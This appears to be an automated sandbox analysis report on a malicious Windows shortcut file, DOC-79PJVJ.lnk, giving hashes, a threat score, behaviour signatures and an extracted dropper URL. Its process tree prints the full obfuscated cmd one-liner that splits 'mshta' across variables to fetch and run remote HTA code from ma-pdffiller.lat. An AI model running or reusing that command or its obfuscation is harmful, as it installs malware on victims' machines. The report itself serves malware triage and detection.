Analysis
- max time kernel
150s - max time network
115s - platform
windows11-ltsc_2024_x64 - resource
win11ltsc2024-20260709-en - resource tags
arch:x64arch:x86image:win11ltsc2024-20260709-enlocale:en-usos:windows11-ltsc_2024-x64systemwindows - submitted
04/08/2026, 08:25
Static task
static1
Behavioral task
behavioral1
Sample
DOC-79PJVJ.lnk
Resource
win10v2004-20260513-en
4 signatures
150 seconds
Behavioral task
behavioral2
Sample
DOC-79PJVJ.lnk
Resource
win11ltsc2024-20260709-en
3 signatures
150 seconds
General
- Target DOC-79PJVJ.lnk
- Size 1KB
- Sample260804-kbftkazzhy
- SHA256 5387003fa561a7627bde4aeb817d539e5fc10c28ad7385bd8cf0dd4db3ade759
- MD5 370d7ccc315f9487dcd3f860af6170cf
- SHA1 478ccfc00d848034f97c0ded04f3549c2180732e
- SHA512 c18c81bb9a0fa27c6c97891471531b9210a66af191a1c6ae0c1ad11f61c5e630abf395891d5aa7d47365427d9b03c212701d57c6f07bc43563025f6446a734a2
- TLSH T1A03197103EFD0624F3B38E7298BB572485BBB8568E20CB2E0041450C1032A25E13BF67
- MD5 SHA1 SHA512 TLSH
Score
10/10
Malware Config
Extracted
Language
-
hta
Source
URLs
-
hta.dropper
https://ma-pdffiller.lat/h/estagio1.php?r=391469FB5D82DB
Signatures
- Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).
- Executes a command shell one-liner 1 TTPs 2 IoCs
Execution of a cmd.exe one-liner (/c "close" or /k "keep") is a common script/loader stage.
pid Process 1196 cmd.exe 5068 cmd.exe - Suspicious use of WriteProcessMemory 2 IoCs
description pid Process procid_target PID 5068 wrote to memory of 1196 5068 cmd.exe 91 PID 1196 wrote to memory of 468 1196 cmd.exe 92
Processes
-
C:\Windows\system32\cmd.execmd /c C:\Users\Admin\AppData\Local\Temp\DOC-79PJVJ.lnk1⤵
- Executes a command shell one-liner
- Suspicious use of WriteProcessMemory
PID:5068 -
C:\WINDOWS\system32\cmd.exe"C:\WINDOWS\system32\cmd.exe" /V:on /c "set POI=msh&&set FRk=ta&&start "" !POI!!FRk! https://ma-pdffiller.lat/h/estagio1.php?r=391469FB5D82DB"2⤵
- Executes a command shell one-liner
- Suspicious use of WriteProcessMemory
PID:1196 -
C:\Windows\System32\mshta.exemshta https://ma-pdffiller.lat/h/estagio1.php?r=391469FB5D82DB3⤵PID:468
-
-
-
C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k GPSvcGroup1⤵PID:5552